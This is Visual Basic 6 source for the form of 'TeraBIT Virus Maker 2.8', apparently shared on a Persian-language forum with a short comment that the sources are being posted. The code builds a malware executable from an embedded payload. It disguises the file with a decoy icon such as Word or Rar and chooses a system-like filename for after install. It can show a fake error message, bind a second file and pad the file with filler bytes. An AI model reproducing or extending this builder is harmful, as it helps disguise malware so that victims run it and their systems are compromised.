Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Dim cdlg As New CdlgEx
Dim filname As String, filicon As String
Private Sub Check1_Click(Index As Integer)
If Check1(Index).ForeColor = vbWhite Then Check1(Index).ForeColor = &HFFC0C0 Else Check1(Index).ForeColor = vbWhite
End Sub
Private Sub Check2_Click()
Text_tit.Enabled = Not (Text_tit.Enabled)
Text_mesge.Enabled = Not (Text_mesge.Enabled)
Combo_kind.Enabled = Not (Combo_kind.Enabled)
Command_test.Enabled = Not (Command_test.Enabled)
Label5.Enabled = Not (Label5.Enabled)
Label6.Enabled = Not (Label6.Enabled)
Label7.Enabled = Not (Label7.Enabled)
If Check2.ForeColor = vbWhite Then Check2.ForeColor = &HFFC0C0 Else Check2.ForeColor = vbWhite
End Sub
Private Sub Check3_Click()
cmd_browse.Enabled = Not (cmd_browse.Enabled)
Txt_file.Enabled = Not (Txt_file.Enabled)
Label8.Enabled = Not (Label8.Enabled)
If Check3.ForeColor = vbWhite Then Check3.ForeColor = &HFFC0C0 Else Check3.ForeColor = vbWhite
End Sub
Private Sub cmd_browse_Click()
On Error Resume Next
cdlg.CancelError = False
cdlg.Filter = "All Files (*.*)|*.*"
cdlg.ShowOpen
Txt_file = cdlg.FileName
filname = cdlg.FileTitle
End Sub
Private Sub Combo_icon_Click()
On Error Resume Next
Select Case Combo_icon.Text
Case Is = "Word": Picture4.Picture = LoadResPicture(101, vbResIcon)
Case Is = "Setup": Picture4.Picture = LoadResPicture(102, vbResIcon)
Case Is = "Exe": Picture4.Picture = LoadResPicture(103, vbResIcon)
Case Is = "Yahoo": Picture4.Picture = LoadResPicture(104, vbResIcon)
Case Is = "Rar": Picture4.Picture = LoadResPicture(105, vbResIcon)
Case Is = "Book": Picture4.Picture = LoadResPicture(106, vbResIcon)
Case Is = "Font": Picture4.Picture = LoadResPicture(107, vbResIcon)
Case Is = "Image": Picture4.Picture = LoadResPicture(108, vbResIcon)
Case Is = "Flash": Picture4.Picture = LoadResPicture(109, vbResIcon)
Case Is = "Flash2": Picture4.Picture = LoadResPicture(110, vbResIcon)
Case Is = "Paint": Picture4.Picture = LoadResPicture(111, vbResIcon)
Case Is = "Zip": Picture4.Picture = LoadResPicture(112, vbResIcon)
Case Is = "Browse..."
Picture4.Picture = LoadPicture
cdlg.CancelError = False
cdlg.Filter = "Icon Files (*.ico)|*.ico"
cdlg.ShowOpen
If cdlg.FileName <> "" Then
If FileLen(cdlg.FileName) > 2240 Then MsgBox "Icon is not valid.", vbCritical, "Icon ERROR": Exit Sub
Picture4.Picture = LoadPicture(cdlg.FileName)
filicon = cdlg.FileName
End If
End Select
End Sub
Private Sub Combo_icon_KeyPress(KeyAscii As Integer)
KeyAscii = 0
End Sub
Private Sub Combo_kind_KeyPress(KeyAscii As Integer)
KeyAscii = 0
End Sub
Private Sub Combo1_KeyPress(KeyAscii As Integer)
KeyAscii = 0
End Sub
Private Sub Command_test_Click()
Dim a As Byte
Select Case Combo_kind.Text
Case "Critical": a = vbCritical
Case "Exclamation": a = vbExclamation
Case "Information": a = vbInformation
End Select
MsgBox Text_mesge, a, Text_tit
End Sub
Private Sub Command1_Click()
On Error Resume Next
Dim TMP() As Byte
Dim filen As Long
Dim data As New PropertyBag
Dim z As Byte, a As Byte, i As Byte
Dim tit As String, mesge As String, bind_tmp As String, err As String, fake As String
'ERROR check
If Check3.Value = 1 Then
If Txt_file = "" Then
MsgBox "Please enter file address for bindig.", vbCritical, "Binder ERROR"
Txt_file.SetFocus
Exit Sub
Else
If Dir(Txt_file) = "" Then
MsgBox "File not exist !!", vbCritical, "Binder ERROR"
Txt_file.SetFocus
Txt_file.SelStart = 0
Txt_file.SelLength = Len(Txt_file.Text)
Exit Sub
End If
End If
End If
If Picture4.Picture = 0 Then MsgBox "You must select icon.", vbCritical, "Icon ERROR": Combo_icon.SetFocus: Exit Sub
If Text1.Text = "" Then
MsgBox "Please enter virus file name.", vbCritical, "ERROR"
Text1.SetFocus
Exit Sub
End If
'SART CREATING SERVER
Command1.Caption = "W a i t . . ."
Me.Enabled = False
Kill App.path & "\" & Text1 & ".exe"
'load resource
If Option1.Value Then
TMP = LoadResData(101, "SERVER")
Open App.path & "\" & Text1 & ".exe" For Binary Access Write Lock Read Write As #1
Put #1, , TMP()
Close #1
Else
TMP = LoadResData(102, "SERVER")
Open App.path & "\" & Text1 & ".exe" For Binary Access Write Lock Read Write As #1
Put #1, , TMP()
Close #1
End If
'extract select icon
If Right$(App.path, 1) <> "\" Then
SavePicture Picture4.Picture, App.path & "\" & "ICON.ico"
Else
SavePicture Picture4.Picture, App.path & "ICON.ico"
End If
'replacing server icon
If Right$(App.path, 1) <> "\" Then
ReplaceIcons App.path & "\" & "ICON.ico", App.path & "\" & Text1.Text & ".exe", err
Kill App.path & "\" & "ICON.ico"
Else
ReplaceIcons App.path & "ICON.ico", App.path & Text1.Text & ".exe", err
Kill App.path & "ICON.ico"
End If
Open App.path & "\" & Text1 & ".exe" For Binary Access Read Write Lock Read Write As #1
'enable/disable binder
If Option1.Value Then
Seek #1, 41998
Else
Seek #1, 15998
End If
If Check3.Value = 1 Then Put #1, , "1" Else Put #1, , "0"
'enable/disbale fake error
If Check2.Value = 1 Then Put #1, , "1" Else Put #1, , "0"
'virus conf
For i = 0 To 51
If Check1(i).Value = 1 Then Put #1, , "1" Else Put #1, , "0"
Next i
'file name after install
Select Case Combo_fname.Text
Case "csmm.exe": Put #1, , "1"
Case "spoolsvr.exe": Put #1, , "2"
Case "smsx.exe": Put #1, , "3"
Case "regsvr.exe": Put #1, , "4"
Case "userinit32.exe": Put #1, , "5"
Case "volume.exe": Put #1, , "6"
Case "regsvc.exe": Put #1, , "7"
Case "update.exe": Put #1, , "8"
Case "nvsvc.exe": Put #1, , "9"
End Select
'fake error title & message & Type ; file bind ; downloader
If Check2.Value = 1 Then
tit = Text_tit
mesge = Text_mesge
Select Case Combo_kind.Text
Case "Critical": a = vbCritical
Case "Exclamation": a = vbExclamation
Case "Information": a = vbInformation
End Select
data.WriteProperty "tit", tit
data.WriteProperty "mesge", mesge
data.WriteProperty "a", a
End If
'--------------------------------------------
If Check3.Value = 1 Then
filen = FileLen(Txt_file)
bind_tmp = Space$(filen)
Open Txt_file For Binary Access Read As #2
Get #2, , bind_tmp
Close #2
data.WriteProperty "filen", filen
data.WriteProperty "filname", filname
End If
'--------------------------------------------
Put #1, , data.Contents
'writing bind file
If Check3.Value = 1 Then
Seek #1, LOF(1) + 1
Put #1, , bind_tmp
End If
'fake byte
If txt_fake <> 0 Then
fake = Space$(Val(txt_fake))
Seek #1, LOF(1) + 1
Put #1, , fake
End If
'--------------------------------------------
Close #1
Me.Enabled = True
Command1.Caption = "&C r e a t e V i r u s"
If Dir(App.path & "\" & Text1 & ".exe") = Text1 & ".exe" Then MsgBox "Virus created successfully", vbInformation, "Complete"
'END OF CREATING SERVER
End Sub
Private Sub Command2_Click()
Dim i As Byte
'start save settings
For i = 0 To 51
SaveSetting "TeraBIT VM 2.8", "Options", Check1(i).Caption, Check1(i).Value
Next i
SaveSetting "TeraBIT VM 2.8", "Binder", Check3.Caption, Check3.Value
SaveSetting "TeraBIT VM 2.8", "Binder", "Address", Txt_file.Text
SaveSetting "TeraBIT VM 2.8", "Fake Error", "Title", Text_tit.Text
SaveSetting "TeraBIT VM 2.8", "Fake Error", "Message", Text_mesge.Text
SaveSetting "TeraBIT VM 2.8", "Fake Error", "Type", Combo_kind.Text
SaveSetting "TeraBIT VM 2.8", "Fake Byte", "Byte", txt_fake.Text
SaveSetting "TeraBIT VM 2.8", "Other", "Method 1", Option1.Value
SaveSetting "TeraBIT VM 2.8", "Other", "Method 2", Option2.Value
SaveSetting "TeraBIT VM 2.8", "Other", "File Name AI", Combo_fname.Text
SaveSetting "TeraBIT VM 2.8", "Other", "File Icon", Combo_icon.Text
If Combo_icon.Text = "Browse..." Then SaveSetting "TeraBIT VM 2.8", "Other", "File Icon C", filicon
SaveSetting "TeraBIT VM 2.8", "Other", "File Name", Text1.Text
MsgBox "successful.", vbInformation, "Save Settings"
End Sub
Private Sub Command3_Click()
Dim i As Byte
'start get settings
For i = 0 To 51
Check1(i).Value = GetSetting("TeraBIT VM 2.8", "Options", Check1(i).Caption, Check1(i).Value)
Next i
Check3.Value = GetSetting("TeraBIT VM 2.8", "Binder", Check3.Caption, Check3.Value)
Txt_file.Text = GetSetting("TeraBIT VM 2.8", "Binder", "Address", Txt_file.Text)
Text_tit.Text = GetSetting("TeraBIT VM 2.8", "Fake Error", "Title", Text_tit.Text)
Text_mesge.Text = GetSetting("TeraBIT VM 2.8", "Fake Error", "Message", Text_mesge.Text)
Combo_kind.Text = GetSetting("TeraBIT VM 2.8", "Fake Error", "Type", Combo_kind.Text)
txt_fake.Text = GetSetting("TeraBIT VM 2.8", "Fake Byte", "Byte", txt_fake.Text)
Option1.Value = GetSetting("TeraBIT VM 2.8", "Other", "Method 1", Option1.Value)
Option2.Value = GetSetting("TeraBIT VM 2.8", "Other", "Method 2", Option2.Value)
Combo_fname.Text = GetSetting("TeraBIT VM 2.8", "Other", "File Name AI", Combo_fname.Text)
Combo_icon.Text = GetSetting("TeraBIT VM 2.8", "Other", "File Icon", Combo_icon.Text)
Select Case Combo_icon.Text
Case Is = "Word": Picture4.Picture = LoadResPicture(101, vbResIcon)
Case Is = "Setup": Picture4.Picture = LoadResPicture(102, vbResIcon)
Case Is = "Exe": Picture4.Picture = LoadResPicture(103, vbResIcon)
Case Is = "Yahoo": Picture4.Picture = LoadResPicture(104, vbResIcon)
Case Is = "Rar": Picture4.Picture = LoadResPicture(105, vbResIcon)
Case Is = "Book": Picture4.Picture = LoadResPicture(106, vbResIcon)
Case Is = "Font": Picture4.Picture = LoadResPicture(107, vbResIcon)
Case Is = "Image": Picture4.Picture = LoadResPicture(108, vbResIcon)
Case Is = "Flash": Picture4.Picture = LoadResPicture(109, vbResIcon)
Case Is = "Flash2": Picture4.Picture = LoadResPicture(110, vbResIcon)
Case Is = "Paint": Picture4.Picture = LoadResPicture(111, vbResIcon)
Case Is = "Zip": Picture4.Picture = LoadResPicture(112, vbResIcon)
End Select
If Combo_icon.Text = "Browse..." Then filicon = GetSetting("TeraBIT VM 2.8", "Other", "File Icon C", filicon): Picture4.Picture = LoadPicture(filicon)
Text1.Text = GetSetting("TeraBIT VM 2.8", "Other", "File Name", Text1.Text)
End Sub
Private Sub Command4_Click()
End
End Sub
Private Sub Form_Load()
Picture4.Picture = LoadResPicture(101, vbResIcon)
End Sub
Private Sub Label1_Click()
Shell "explorer http://www.terabit.uni.cc"
End Sub
Private Sub Label9_Click()
ShellExecute Me.hwnd, "Open", "Mailto:terabit.info@yahoo.com?Subject=TeraBIT VM 2.8", vbNullChar, vbNullChar, 0
End Sub
Private Sub Option1_Click()
Check1(1).Enabled = True
Check1(7).Enabled = True
Check1(37).Enabled = True
End Sub
Private Sub Option2_Click()
Check1(1).Enabled = False
Check1(7).Enabled = False
Check1(37).Enabled = False
End Sub
Private Sub Picture1_Click()
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 47 Or KeyAscii = 92 Or KeyAscii = 58 Or KeyAscii = 42 Or KeyAscii = 63 Or KeyAscii = 34 Or KeyAscii = 60 Or KeyAscii = 62 Or KeyAscii = 124 Then KeyAscii = 0
End Sub
Private Sub Timer1_Timer()
If Me.Caption = "TeraBIT Virus Maker 2.8" Then Me.Caption = "Coded in VB 6.0": Exit Sub
If Me.Caption = "Coded in VB 6.0" Then Me.Caption = "February.12.2007": Exit Sub
If Me.Caption = "February.12.2007" Then Me.Caption = "TeraBIT Virus Maker 2.8": Exit Sub
End Sub
Private Sub txt_fake_KeyPress(KeyAscii As Integer)
If KeyAscii <> 8 Then If KeyAscii < 48 Or KeyAscii > 57 Then KeyAscii = 0
End Sub
البته اين ها كه خيلي سادست و كاري نداره!!!!!
با توجه به عكس آپلود شده در پست قبل ، سورس ها گذاشته ميشه.
با تشكر